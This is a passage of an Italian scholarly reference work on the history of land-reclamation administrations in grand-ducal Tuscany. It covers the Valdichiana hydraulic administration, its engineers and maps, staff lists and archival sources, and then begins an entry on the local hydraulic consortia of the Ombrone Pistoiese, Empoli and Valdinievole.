Nel “Progetto di Nuovo Ruolo per l’Amministrazione Economico-Idraulica dell’I. e R. Corona in Val di Chiana” del 1819, il Capei propone al Fossombroni la nomina, nel ruolo di aiuto ingegnere, del giovane Lorenzo Corsi di Firenze (figlio del defunto segretario Corsi), che già da alcuni anni collaborava con Manetti in Valdichiana e veniva, in qualche modo, già ricompensato dall’Amministrazione. La nomina del Corsi venne decisa anche per sostituire – come avverrà, sia pur gradualmente – la figura del Gugliantini, che non godeva di buona considerazione da parte del Capei, e per sopperire anche alle numerose assenze del Manetti, “d’altri più importanti e difficili lavori contemporaneamente incaricato”.
Dal documento si evince inoltre che il Gugliantini e il Manetti godevano di una provvisione annua di 360 scudi, mentre l’aiuto Corsi di 180; costoro erano tenuti a servire indistintamente anche il Dipartimento delle Acque. Gli ingegneri percepivano inoltre una diaria di lire sette per la cavalcatura quando si recavano “in gita di servizio nella Provincia”, oltre al rimborso delle spese vive occorrenti per le operazioni in campagna. Venivano poi loro pagate “le copie delle Piante, Progetti e Relazioni a ragione di lire cinque al giorno per il numero delle giornate che possono occorrere per far ciascuna copia, restando compreso in detta somma la spesa della carta, colori e tutt’altro” (ASF, Segreteria di Gabinetto, f. 164, ins. 3).
In allegato, troviamo precise e dettagliate istruzioni scritte (“Progetto d’Istruzioni per l’Ingegneri dell’Amministrazione Economico-Idraulica della Val di Chiana”), in 16 articoli (ASF, Segreteria di Gabinetto, f. 164. Miscellanee XIX, Ins. 4, Allegato G), che recitano:
1. I lavori vengono approvati prima dal Direttore, e dagli ingegneri dipendono gli altri dipendenti sia dell’Amministrazione che del Dipartimento delle Acque.
2. In caso di emergenza l’ingegnere può ordinare lavori rendendo conto sollecitamente alla Direzione.
3. Gli ingegneri devono fare relazioni, perizie di stima e tutto quanto viene loro richiesto dal Direttore, oltre a disegni, piante, livellazioni e misurazioni necessari.
4. I progetti non possono essere modificati dagli ingegneri senza l’assenso della Direzione.
5. Tutti i lavori fatti devono essere depositati nell’archivio dell’Amministrazione.
6. Gli ingegneri devono effettuare tutte le visite che vengono loro ordinate e chiedere il permesso per effettuare quelle che ritengono opportune, accompagnare il direttore nelle sue visite e fornirgli tutte le informazioni dal medesimo richieste sui lavori.
7. Quando gli ingegneri sono fuori devono tenere corrispondenza regolare con la direzione per render conto di tutto e chiedere le necessarie approvazioni.
8. In caso di malattia si suppliscono a vicenda.
9. Le strade tenute in accollo dall’Amministrazione e quelle vicinali, i lavori di fabbriche, colmate, argini, fossi e scoli, ponti, e tutti i lavori di mantenimento, sia di nuova costruzione, che si eseguiscano a spese dell’Amministrazione o del Dipartimento Dell’Acque, saranno sotto la special sorveglianza degli Ingegneri. Essi devono visitarli tutte le volte che è necessario e impartire ai lavoranti, sia per scritto che a voce, “le istruzioni e regole opportune perché i lavori di ogni genere sieno eseguiti colla maggiore regolarità, solidità e perfezione possibile, e venga di essi praticato quel diligente custodimento capace di produrre nel tempo stesso economia e sicurezza”.
10. Oltre a quanto detto, devono fare una visita trimestrale nelle fattorie e nella provincia per poter render conto alla Direzione sia dei lavori in corso che dello stato di strade, ponti, ecc., oltre che per controllare i lavoranti e “qualora ritrovassero delle frodi o trascuranza nell’esecuzione dei fatti lavori, ricuseranno il certificato di pagamento alli accollatari e cottimanti e il bene stare alle note delli agenti, e proporranno le convenienti deduzioni, defalchi, ecc.”.
11. Nelle visite ai corsi d’acqua devono particolarmente prender cognizione della situazione.
12. Entro la fine dell’anno devono presentare un prospetto con i lavori previsti per l’annata successiva “tanto per mantenimento che per nuova costruzione di fabbriche, colmate” ecc., completo della previsione delle spese urgenti o da differire o sospendere.
13. Per quanto riguarda la costruzione o rifacimento o adattamento di case coloniche e annessi di fattoria, gli ingegneri “si concerteranno con l’ispettore per fare in ciascuno di detti casi alla Direzione quel progetto che sarà creduto il migliore tanto per la salute e comodo dei contadini e per la conservazione dei bestiami e grasce, che in veduta dell’opportuna economia”.
14. Alla fine di ogni mese devono riscontrare e dare il loro benestare a tutti quei documenti, note, conti e carte varie riguardanti i lavori e apporre le dovute correzioni, “seppure non lo avranno già fatto in occasione di gite nelle respettive fattorie”, come si raccomanda loro di fare sempre, soprattutto per i “conti dei manifattori, con i quali possono entrare in maggiori chiarimenti sulla faccia dei luoghi, avendo sott’occhio i lavori eseguiti da ciascuno di essi”.
15. Per ogni lavoro occorre un certificato che attesti la spesa fatta assieme al dettaglio dei lavori, da sottoporre al visto della Direzione.
16. “In generale gl’Ingegneri saranno tenuti di prestarsi a tutte le occorrenze del servizio, in qualunque tempo e caso esser possa necessaria e ricercata dal Direttore l’opera loro in vantaggio dell’Amministrazione e del Dipartimento dell’Acque della Provincia, e specialmente in tempo di forti piogge ed alluvioni” (Guarducci, 2001, passim).

Con la nuova amministrazione, sotto il restaurato governo lorenese, le operazioni di bonifica, in un clima generale di grandi lavori pubblici, dedicati in gran parte anche al sistema stradale, ricevettero un nuovo e significativo impulso.
A questo proposito, si segnala che anche una parte del sistema stradale risultava sotto la direzione dell’ente. Nel “Regolamento per il servizio degli stradini incaricati per la mano d’opera necessaria” alle strade in accollo all’Amministrazione Economico-Idraulica di Valdichiana, del 6 ottobre 1817, firmato dal Capei, troviamo che questi lavoratori “dipendono esclusivamente dagli ordini degli Ingegneri” incaricati di dirigere i lavori, ai quali “devono rendere esatto conto […] della quantità del materiale che impiegano”; essi non possiedono un orario di lavoro preciso con l’unica eccezione dell’obbligo “di passare al lavoro l’intera giornata del mercoledì di ogni settimana, e di essere reperibili sulla strada dal levare al tramontare del sole, per ricevere gli ordini e istruzioni che gli verranno date dall’Ingegnere, il quale sceglierà preferibilmente quel giorno per visitare i lavori”. In caso di esigenze contingenti l’Ingegnere può dislocare gli stradini nelle varie “stazioni” come ritiene opportuno e, se riscontra negligenze, può adottare certe misure affinché i lavori procedano nel migliore dei modi, con la facoltà di arrivare anche al licenziamento. I pagamenti degli stradini avvengono “alle respettive fattorie sui buoni dell’Ingegnere…” (ASF, Scrittoio delle Regie Possessioni, f. 3842).
Relativamente alle operazioni idrauliche, nel 1818 “il Fossombroni invita il Manetti a realizzare una completa livellazione della Val di Chiana, riconoscendone la specifica competenza in materia idraulica, competenza che per la prima volta viene applicata nelle vicende della bonifica, fino allora programmata e gestita da matematici e ingegneri, anche di grande prestigio ma non competenti in materia” (Di Pietro, 2005, p. 147 e ss.).
Nel 1819 il Manetti realizza (disegnata con Jacopo Frilli e stampata a Firenze da Leonardo Ciardetti) la Carte de la Vallèe de la Chiana (ASF, Segreteria di Gabinetto. Appendice, 251, ins. IV, c. 4; e ASF, Piante Topografiche delle Regie Possessioni, c. 100).
Si segnala poi l’opera dal titolo: Operazioni idrauliche eseguite in Val di Chiana dall’Ingegnere Alessandro Manetti a tutto l’anno 1821 (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), in 5 volumi rilegati, ove Manetti inserisce le Livellazioni del Canale Maestro della Chiana fatte dagli Ingegneri Salvetti e Manetti la 1° nell’anno 1769 la 2° nell’anno 1820, con sovrapposizione delle due livellazioni perché siano facilmente confrontabili. Anche nelle annotazioni alla Mappa idraulica della Pianura di Val di Chiana esprimente i lavori di bonificazione che sono in attività nell’anno 1822, lo stesso Manetti mette a confronto la livellazione generale fatta in occasione del concordato del 1780 (che entrò in vigore nel 1782) con quella del 1820 per dimostrare, con dati precisi, il rialzamento dei recinti di colmata (soprattutto i sei recinti delle Bozze di Chiusi e il Lago di Montepulciano) (Guarducci, 2005, pp. 77-78).
Vale la pena ribadire che è grazie all’attività infaticabile di Alessandro Manetti e alle sue memorie a stampa, che una parte di questa cartografia delle acque finisce con l’acquistare “nella prima metà dell’800 un’impronta decisamente divulgativa” per “la volontà politica, prima ancora che scientifica, di celebrare i successi dell’opera di bonifica avviata da Pietro Leopoldo” (Breschi, 1981, p. 24): tale obiettivo venne infatti perseguito con le memorie del 1823, del 1840 e del 1849, redatte e pubblicate anche e soprattutto “per far conoscere primieramente gli acquisti di terreno fatti […] i quali sembran inverosimili e quasi favolosi” alla “comune generale intelligenza” (come il nostro tecnico scrive).
La prima memoria è intitolata Carte idrauliche dello stato antico e moderno della Valle di Chiana […] (Manetti, 1823), con tre tavole: lo Stato antico della Valle di Chiana […]; la Livellazione generale delle Chiane […]; e la Mappa idraulica della pianura della Val di Chiana […].
Quest’ultima (contenente, in un riquadro, la tradizionale e parziale Carta che dimostra il corso della Chiana fra il Tevere e l’Arno) (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), rispetto al prototipo manettiano del 1819, raffigura per la prima volta con modulo ormai geometrico, e in dettaglio topografico, “la valle in tutta la sua lunghezza (ma solo il tratto centrale intorno al Canale Maestro) dall’argine e callone pontificio alla chiusa dei Monaci, con la ‘fotografia’ dello stato della bonifica (canali, colmate, residue aree palustri), e con il tracciato dell’antica via Cassia, interrotto in più punti” (Rombai, Toccafondi e Vivoli, 1987, p. 93).
La seconda memoria (Manetti, 1840) ripropone la Carta che dimostra il corso della Chiana fra il Tevere e l’Arno, ma con qualche contenuto in più riguardo agli affluenti di sinistra della Chiana rispetto a quella riportata nella finestra della Mappa idraulica del 1823.
La terza memoria Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Manetti, 1849) contiene sei tavole, tra cui (oltre alla ricostruzione tematico-storica dei Grafici delle livellazioni della Chiana previste dal Torricelli sec. XVII, Fossombroni sec. XVIII, Progetto del 1838, Progetto del Paleocapa 1845) la Carta della Valle di Chiana nell’anno 1849 che finalmente rappresenta il tipo cartografico moderno dimensionato sull’intera valle, con il progetto dei nuovi allaccianti di sinistra e di destra (Guarducci, 2005, pp. 78-79).
Nel 1825, il Manetti, nominato sotto-ispettore del nuovo Corpo degli Ingegneri di Acque e Strade, lasciò il servizio in Valdichiana, proseguendo la sua attività di ingegnere idraulico anche in altri comprensori.
Nel 1838 Manetti riprese tale servizio con la nomina a Direttore dei lavori di Valdichiana. Nell’elenco degli Impiegati del 1838, compare ancora Lorenzo Corsi con un trattamento annuo di lire 2520, “con più la diaria di £ 7 al giorno per le gite in campagna con l’obbligo di mantenere la cavalcatura, di servire anche il Dipartimento dell’Acque, e l’emolumento di £ 5 al giorno per le copie delle piante, progetti e relazioni” (ASF, Scrittorio delle Regie Possessioni, f. 3595).
A quanto si deduce dal documento intitolato: “Stati di servizio degli impiegati della soppressa Regia Amministrazione Economico-Idraulica di Val di Chiana e delle Regie Fattorie”, datato 1838 (ASF, Scrittorio delle Regie Possessioni, f. 3595), l’ente cambiò nuovamente denominazione, divenendo dal 1839 Regia Amministrazione di Arezzo e Val di Chiana, sempre con il compito di gestire e amminstrare, oltre ai lavori idraulici, anche le fattorie granducali.
Dal “Ruolo degli Impiegati” al 1° gennaio 1851 (così come in quello del 31 ottobre 1852), si evince che la direzione spettava a Tommaso Albergotti (“ministro principale” dal 1839); nel ruolo di ingegnere, al posto del Corsi, troviamo adesso Ferdinando Chini (1° assistente ai lavori, con una provvigione annua di 1680 lire, oltre a una diaria di “lire 7 al giorno nelle gite in Provincia, e vitto e alloggio alle Fattorie) e Giobatta Bianchini (2° assistente, con 1200 lire e il godimento della “patente d’Arme”), in servizio in Valdichiana il primo dal 20 luglio 1838 e il secondo dal 5 giugno 1829 (ASF, Scrittorio delle Regie Possessioni, f. 2608).
Si segnala il fecondo periodo 1838-59 per la messa a punto, sotto l’attenta direzione dell’ingegnere idraulico di numerosissime opere funzionali alla bonifica della valle, sia nel settore delle colmate che nella sistemazione della fitta rete dei corsi d’acqua e dei canali.
Il Manetti restò in carica fino al 1861.

Produzione cartografica

La documentazione cartografica, manoscritta e a stampa, prodotta dai suddetti enti preposti alla bonifica della Valdichiana, tra il 1783 e il 1861 consiste in centinaia e centinaia di rappresentazioni: carte generali della valle o di parti di essa, prodotti specifici strettamente correlati a interventi idraulici, con le tante figure su assetti territoriali dati che non sempre è facile distinguere da quelle che esprimono progetti, e quindi opere di modifica degli stati di fatto; figure su particolari operazioni e oggetti sempre di natura idraulica (colmate, arginature, profili e livellazioni, chiuse, ecc.); ma anche numerosissime raccolte di mappe di fattorie e poderi (cabrei), cartografie generali o parziali che inquadrano, spesso con minuzia ed eccezionale perizia scritta e grafica, i terreni e i fabbricati rurali; infine cartografia legata alla progettazione di un nuovo assetto stradale. Nell’impossibilità, in questa sede, di stilare un elenco di tali carte, si rimanda ai numerosi studi e alle tante conservatorie (archivi comunali della valle, archivi e biblioteche della Toscana, e non solo di essa) elencati (v. Riferimenti bibliografici e archivistici).

Operatori

Deputazione (o Commissione) per la Val di Chiana (1783-1792): Angelo Tavanti, presidente, dal 1783; Vittorio Fossombroni, Soprintendente alla bonifica, dal 1788; Giuseppe Salvetti (ingegnere granducale, 1789); Stefano Diletti (ingegnere granducale, 1785-87); Salvatore Piccioli (ingegnere granducale, 1788); Antonio Capretti (ingegnere granducale, 1780/1788); Giuseppe Baldassarre Puliti (architetto granducale, 1780/1788); Niccolò Montomoli (1791).

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808): Vittorio Fossombroni (Soprintendente, 1794-1827); Jacopo Gugliantini (ingegnere in organico, dal 1798); Andrea Nuti (aggiunto al Fossombroni, dal 1800); Luigi Mazzoni (ingegnere in organico, 1801); Alessandro Del Vita (geometra e perito, 1801); Giovanni Franceschi (ingegnere granducale, 1797); Giovanni Caluri (ingegnere granducale, 1799); Stefano Diletti (ingegnere granducale, 1808).

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814): Vittorio Fossombroni (Sovrintendente); Andrea Nuti (aggiunto al Sovrintendente); Federigo Capei (aiuto); Eduardo Ghio (copista); Giuseppe Billi, Leopoldo Guidi, Niccolò Gamurrini, Luigi Mazzoni (deputati ai diversi settori della bonifica, in organico); Pietro Zampi, Vincenzo Bottari, Giuseppe Ghizzi, Domenico Colombi (camarlinghi dell’Imposizione, in organico); Giovanni Lischi (custode della Fabbrica del Callone).

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861): Vittorio Fossombroni (Soprintendente generale, 1816-1828); Federigo Capei (aiuto Soprintendente 1816-1826 e dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica); Tommaso Albergotti (primo commesso archivista, dal 1816); Jacopo Gugliantini (ingegnere in organico, 1816-1824); Alessandro Manetti (ingegnere idraulico in organico, 1816-1825 e 1838-1861); Lorenzo Corsi (aiuto ingenere in organico dal 1819; ingegnere dal 1825); Jacopo Frilli (1819); Francesco Fantechi (1824 ca.); Lorenzo Materassi (1828 ca.); Luigi Mazzoni, Francesco Cerretelli e Gastone Laparelli (periti di campagna, anni ’20- primi anni ’30 dell’800); Luigi Kindt (ingegnere granducale, 1832); Luigi Turchini (1837); Baldassarre Marchi (ingegnere granducale, 1838/1847); Francesco Renard (ingegnere granducale, 1844-49/1847); Alessandro Del Vita (geometra e perito in organico, 1845/1849/1856); Angiolo Falorni (ingegnere granducale, 1849); Luigi Galluzzi (ingegnere granducale, metà sec. XIX).

Riferimenti bibliografici e archivistici

Barsanti e Rombai, 1987; Breschi et Al., 1981; Di Pietro, 2005; Fossombroni, 1789/1835; Fossombroni, 1824; Guarducci, 2001; Guarducci, 2003; Guarducci, 2005; Istituto Geografico Militare, 1934; Manetti, 1823; Manetti, 1840; Manetti, 1849; Rombai, a cura di, 1993; Rombai, 1994; Rombai, Toccafondi e Vivoli, 1987. ASF, Scrittoio delle Regie Possessioni, Piante dello Scrittoio delle Regie Possessioni. Carte sciolte e Tomi, Piante Topografiche delle Regie Possessioni, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, Miscellanea di Piante, Segreteria di Gabinetto; ASS, Quattro Conservatori, Quattro Conservatori. Mappe; ASA, Genio Civile. Direzione delle opere idrauliche di Valdichiana, Archivi di Acque e Strade. Direzione delle opere idrauliche di Val di Chiana, Archivio Fossombroni; ASP, Ordine di S. Stefano; BMF, Ms Cambray Digny; IGM, Collezione Fossombroni; SUAP Rat; SHAT, M. R.

Anna Guarducci (Siena)

Deputazioni e Consorzi idraulici (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Pianura dell’Ombrone Pistoiese (secoli XVI-XIX)

Circondari di Imposizione di Empoli (metà XVI secolo-oggi)

Valdinievole e Padule di Fucecchio (1781-oggi)

Valdarno di Sopra (1697-1769)

In Toscana agirono – per periodi più o meno lunghi – numerose realtà consorziali idrauliche locali, di cui non è possibile dar conto in questa sede. Basti pensare che lungo il corso dell’Arno – nel solo tratto compreso nel territorio del contado fiorentino tra Levane e Santa Croce – nella seconda metà del XVII secolo esistevano innumerevoli imposizioni, tra cui quelle di Bocca d’Ambra, di Montevarchi e San Giovanni, di Petriolo e Brozzi, di Ugnano, di San Moro, di Legnaia, di Badia a Settimo, di Santa Croce (ASF, Capitani di Parte Guelfa, filze varie).
Tra le principali ricordiamo: il consorzio di Empoli, la Congregazione del Valdarno, il Consorzio di Bonifica del Padule Fucecchio, la “Congregazione per l’allargamento del Fiume Ombrone” Pistoiese poi Deputazione centrale per lo stabilimento delle serre del Fiume Ombrone.
I Consorzi idraulici erano gli enti che, con la denominazione corrente di imposizioni fluviali o palustri, riunivano coattivamente i proprietari privati dei terreni disposti intorno a corsi d’acqua e zone umide. Essi, fin dalla seconda metà del XVI secolo (e almeno fino all’unità d’Italia, ma in alcuni casi anche successivamente e fino ai nostri giorni), in base alla legislazione medicea, e per tutta l’età granducale, si occuparono specificamente della gestione e della regolamentazione più o meno ordinaria delle imposizioni di fiumi, fossi e paduli dei rispettivi circondari quasi mai coincidenti con i reticoli comunitativi, fra l’altro con particolare frammentazione degli spazi di pertinenza fluviale o palustre in parecchie circoscrizioni che raramente si occupavano di entrambe le sponde o dell’intero invaso.
Le Deputazioni o Congregazioni idrauliche erano invece i pochi enti occasionalmente istituiti dai governi granducali (sempre con il concorso fondamentale della proprietà privata ma anche con l’intervento tecnico-finanziario dello Stato mediceo o lorenese) per affrontare e risolvere problemi straordinari di grande rilevanza pubblica, come la sistemazione dei fiumi maggiori (Arno e Ombrone Pistoiese) o la bonifica di grandi e piccoli comprensori palustri quali Valdinievole, Valdichiana, Maremma Grossetana, Pian del Lago, Padule di Orgia (per cui v. Congregazione degli Interessati di Pian del Lago e “Consorteria del Padule d’Orgia”), ecc.
Ai tempi della realizzazione e attivazione del catasto geometrico lorenese (1832-34), venne meno per ciascun ente, almeno per i più piccoli, la necessità di stipendiare un ingegnere per disegnare e aggiornare i cartoni dell’imposizione (in genere “inesatti o incompletissimi”, come li definì in quegli anni Giovanni Inghirami), dal momento che ora potevano soccorrere ottimamente le mappe catastali appositamente riunite. E per tutte le 553 Deputazioni dei Fiumi e Fossi del Granducato che allora amministravano circa un ottavo della superficie totale dello Stato scattò “l’obbligo di tenere in buona regola i plantarj dei terreni compresi nelle singole imposizioni, e i registri delle loro annue spese di lavori e d’amministrazione” (Rombai, 1989, p. 170).
Le competenze in materia di arginature di fiumi e di bonifiche addossate, fin dal XVI secolo, “ai proprietari dei fondi limitrofi ai fiumi ed ai fossi” furono confermate dalla Camera di Soprintendenza Comunitativa del Granducato negli anni 1820-21 e “rappresentavano il punto di arrivo e la definitiva formalizzazione” del sistema creato dai Medici.
L’amministrazione e la gestione delle imposizioni gravanti sui terreni sottoposti ai rischi e alle esondazioni dei corsi d’acqua e dei paduli erano già state disciplinate dal governo centrale (Camera delle Comunità) nel 1774 (con l’affidamento della gestione delle imposizioni ai proprietari, obbligati a nominare una deputazione di rappresentanti) e nel 1786. Con quest’ultima normativa, in seguito alle diffuse inadempienze dei proprietari, si affidava ai giusdicenti locali (vicari o podestà) il compito di effettuare periodiche ispezioni ai corsi d’acqua, alla presenza dei deputati delle imposizioni e del tecnico o provveditore di strade delle rispettive comunità, e di redigere apposite relazioni con la descrizione dei lavori occorrenti (Benigni e De Gramatica, 1998, pp. 23-24).
Le spese sia ordinarie che straordinarie occorrenti per la manutenzione dei circondari idraulici erano ripartite tra i proprietari di ciascuna imposizione in base alle quote di possesso, vale a dire in base alle superfici dei terreni posseduti articolate in varie “classi” definite a seconda dell’uso e della produttività del suolo, verificate in base ad appositi elenchi dei beni e in base ad attendibili cartografie a grande scala prodotte allo scopo, tradizionalmente dette “Cartoni del Circondario” (Guarducci e Rombai, 1998, pp. 52-54).

Pianura dell’Ombrone Pistoiese (secoli XVI-XIX). I tanti circondari di imposizione dell’Ombrone Pistoiese (esistenti fin dal XVI secolo) vennero riuniti nel 1706 dal governo granducale nella Deputazione o “Congregazione per l’allargamento del Fiume Ombrone”.
Questo nuovo ed unico ente idraulico doveva procedere (ricorrendo ai consueti contributi versati dalla proprietà fondiaria, ma con la cospicua integrazione di finanziamenti statali procurati mediante “imposizioni universali” attivate nel 1706, 1711, 1717, 1722, 1725 e 1729) alla canalizzazione generale (e in alcuni tratti anche all’allargamento del letto, come evidenzia la denominazione stessa dell’ufficio) del principale fiume pistoiese, in tutto il suo corso in pianura tra Pistoia e la confluenza in Arno.
Ovviamente, la rilevanza dell’intervento impose la redazione di cartografie d’insieme e parziali.
I lavori richiesero molti decenni per essere compiuti, tanto che tra il 1760 e il 1763 il governo nominò una commissione di esperti per far chiarezza sui problemi ancora in essere. Per quanto fin dal 1742 fosse stato scavato il nuovo letto, all’inizio degli anni ’60 i lavori agli argini fervevano ancora tra Pontelungo e Ponte alla Pergola, e rimaneva pure da colmare e mettere a coltura il letto vecchio.
In pratica, l’operazione poté dirsi conclusa all’inizio del 1772, perché il motuproprio granducale del 17 febbraio soppresse la Deputazione e tornò a ripartire il fiume e lo spazio circostante fra le antiche e svariate imposizioni dei proprietari.
I pesanti esborsi finanziari furono compensati dall’avanzata della colonizzazione agraria nelle aree di pertinenza fluviale “acquistate” con la sistemazione e la bonifica.
Il ritorno alla tradizionale gestione frammentaria del corso d’acqua, col tempo, finì però col produrre il progressivo deterioramento dell’assetto idrologico, come dimostrano le ricorrenti esondazioni e rotture di argini che, fin dal 1777, richiesero continui e costosi lavori straordinari di ripristino.
Questo stato di cose divenne sempre più precario all’inizio del nuovo secolo XIX, e vi si cominciò a trovare rimedio solo a partire dal 1821, quando il professore idraulico pistoiese Pietro Pietrini – dopo un esame dettagliato delle condizioni fisiografiche – redasse un piano generale di sistemazione del fiume e del suo bacino idrografico, che era imperniato sulla costruzione di circa 150 serre sugli alti corsi degli affluenti dell’Ombrone (Vincio di Brandeglio e di Montagnana, Brana, Bure, Piestro, Torbecchia, ecc.), al fine di evitare corrosioni e frane delle pendici montane-collinari.
Il governo, con rescritto del 25 ottobre 1822, approvò l’esecuzione del progetto Pietrini, affidandone la direzione – nell’ambito di un nuovo ente di gestione che accorpava le tante tradizionali imposizioni fluviali, denominato “Deputazione centrale per lo stabilimento delle serre del Fiume Ombrone” – all’ingegnere pistoiese Marco Gamberai (che qualche anno dopo sarebbe entrato nel Corpo degli Ingegneri di Acque e Strade), con la supervisione di Alessandro Manetti.
I grandiosi lavori di bonifica montana mediante la realizzazione di tante serre disposte “a guisa di scaglioni dai tronchi inferiori fino ai primi rigagnoli verso le vette delle montagne”, registrarono un grande impulso negli anni ’20 e ’30, e all’inizio degli anni ’40 furono considerati pressoché conclusi: tanto che, con sovrano rescritto del 22 aprile 1843, la Deputazione delle Serre venne sciolta, mentre tutte le sue competenze furono affidate alla Deputazione d’Ombrone, la quale proseguì con i suoi ingegneri l’opera di completamento e manutenzione delle serre. Le operazioni andarono tuttavia a rilento, se proseguivano ancora nei primi anni ’60 di quello stesso secolo, e se nel 1863 – a seguito di importanti modifiche ambientali prodotte dal tracciato della nuova linea ferroviaria porrettana – l’ing. Eugenio Zamponi propose la costruzione di nuove serre sul fosso detto di Fabbrica, sul fosso Castagno, sull’Ombrone, sul fosso di Ciliceia e sul fossetto di Calabbiana. Neppure questi lavori riuscirono però a risolvere il problema, anche per il massiccio diboscamento in atto nelle pendici montane, almeno fino al 1923 quando fu approvata una rigorosa legge forestale (Romby, 1984 e 1988).

Circondari di Imposizione di Empoli (metà XVI secolo-oggi). Nell’Empolese esistevano, dalla metà del XVI secolo (destinate a durare fino ai giorni nostri), come recitano gli atti catastali del 1817-32, “moltissime Imposizioni, e sono Pratelle di Sopra e di Sotto, Arno Vecchio, Romito o Mosca, S. Donato o Piovola, Orme a sinistra, Cappuccini, S. Maria, Arno sotto il Molino del Sale, Vitiana, Pagnana, Saettino, Volpi, Elsa alla Girandola, Elsa a Brusciana, Elsa alle Poste, Arno a Riottoli, Arno a Cintoia, Arno alla Moretta”, che “si pagano dai possessori per lo più divisi in classi in proporzione del vantaggio”.
Di sicuro, in ogni epoca le spese di regimazione idrica furono cospicue, perché “il suolo della pianura trovasi molto basso e perciò soggetto all’infrigidimento naturalmente occasionato dalla difficoltà degli scoli e dalla elevazione dei torrenti e fiumi che vi scolano e particolarmente del fiume Arno”. In molti luoghi era difficile, o addirittura impossibile, “il poter colmare, onde lo stato di questa pianura va ogni giorno deteriorando”, a seguito dei molti corsi d’acqua che scorrevano “con molta veemenza, portandosi seco delle moli di sassi” che producevano “frequenti rotte”, con “danno gravissimo ai possessori adiacenti”. D’altra parte, non pochi settori del poggio erano di “natura sterile” o poco produttiva.
Come si è già accennato, le spese sia ordinarie che straordinarie erano ripartite tra i proprietari dell’imposizione in base alle quote di possesso verificate sugli elenchi dei beni e sulle piante (dette “cartoni del Circondario”).
Tra la fine degli anni ’50 e l’inizio degli anni ’60 dell’Ottocento, le perizie redatte (sulla base di capillari visite annuali) da Giulio Marzocchi, Pietro Maestrelli e da altri ingegneri delle varie imposizioni confermano che, ormai, il fitto reticolo idrografico era generalmente “ben tenuto” ed efficiente. Nel 1857-61, comunque, furono effettuati, oltre ai consueti interventi di manutenzione (escavazioni e più di rado allargamenti d’alveo, rinforzi e rialzamenti d’argine, piantate arboree di pioppi, acacie o altre specie “a facile sviluppo” e “sassaie” o “getti di sassi” con “pietre della Gonfolina” realizzate a difesa delle ripe e panchine, restauro di cateratte e ponti, ecc.), anche qualche lavoro di sistemazione a fossi e scoli di un certo impegno finanziario da parte delle imposizioni del Rio di Vitiana e Campolungo (che procedette all’escavazione di un nuovo canale con sbocco diretto in Arno “in sussidio del fosso maestro”), d’Arno Vecchio, del T. Orme spalla destra e sinistra, del T. Piovola, dei Rii Saettino e Friano, dell’Elsa sotto il Rio e Molino delle Volpi, alla Girandola (al nuovo “traversante del Molino di Capo Cavallo”) e al Ponte del Molino, dell’Elsa a Brusciana, dell’Elsa in Carraia e Morette, delle Pratelle di Sopra e di Sotto, del Rio di Pagnana e Stella, dei Rii Romito e Mosca, del Rio di S. Maria a Cerbaiola, ecc. Vale la pena di ricordare la situazione denunciata nel 1859 dall’ingegnere comunale Pietro Maestrelli in relazione allo stato dell’argine sinistro del Canale Maestro che, a partire dal suo inizio in Arno, “si vede per lunghi tratti dissodato, lavorato e sementato, di fronte ai possessi dei signori Amedeo Del Vivo e Bertolli dal Terrafino”, condizione preoccupante per la stabilità e funzionalità del manufatto che andava senz’altro sanata non appena concluse le operazioni della mietitura.
Le antiche imposizioni vennero accorpate nell’Ufficio Centrale dei Consorzi Idraulici di Empoli nel 1875, in seguito alla legge per l’unificazione amministrativa del Regno d’Italia che dava facoltà ai proprietari interessati di costituire specifici consorzi idraulici (L. 20 marzo 1865, n. 2248, allegato F, integrata e modificata in materia di consorzi idraulici con le disposizioni della L. 3 luglio 1875, n. 2600).
Il 31 dicembre del 1875 tale ufficio (che aveva sede, allora come oggi, nell’edificio comunale di Empoli) promulgò un proprio regolamento con il quale si dotava di una propria struttura, con al vertice una Commissione Direttrice composta dai presidenti dei singoli consorzi idraulici, che aveva il compito “di dirigere e sorvegliare nel comune interesse le singole amministrazioni dei diversi Consorzi idraulici esistenti nel Comune”. Sempre alla Commissione spettava la nomina dell’ingegnere, incaricato di sorvegliare le condizioni dei corsi d’acqua consorziali al fine di verificarne lo stato di manutenzione e segnalare gli eventuali lavori di sistemazione necessari, nonché quella dell’esattore e del segretario; quest’ultimo, con mansioni di ragioniere e archivista, aveva il compito di convocare le assemblee della Commissione e delle singole Deputazioni e di redigerne i verbali, di predisporre i bilanci, tenere aggiornati i registri contabili, infine tenere in ordine e custodire in un apposito archivio tutta la documentazione prodotta dall’Ufficio Centrale e dai singoli consorzi (Benigni e De Gramatica, 1998, pp. 23-24; e Guarducci e Rombai, 1998, pp. 52-54).

Valdinievole e Padule di Fucecchio (1781- oggi). Dopo l’esecuzione di opere fondamentali per la bonifica e per la regimazione delle acque della Valdinievole, come l’abbattimento delle calle di Ponte a Cappiano e l’escavazione di numerosi fossi e canali, già tra il 1781 e il 1782, parve chiaro al granduca Pietro Leopoldo che nessuno dei singoli comuni o delle singole piccole province amministrative vicariali della valle era in grado di svolgere autonomamente le indispensabili funzioni di vigilanza e monitoraggio e di ordinaria manutenzione della zona umida e della pianura ivi gravitante. Proprio per tale consapevolezza, il sovrano decise di coinvolgere direttamente i proprietari fondiari nella cura delle operazioni idrauliche, e con rescritto del 22 maggio 1781 creò una prima grande Deputazione idraulica (Deputazione del Padule di Fucecchio) costituita dai rappresentanti delle cinque piccole “imposizioni” dei fiumi della Valdinievole, che veniva a dipendere dalla governativa Camera di Soprintendenza Comunitativa.
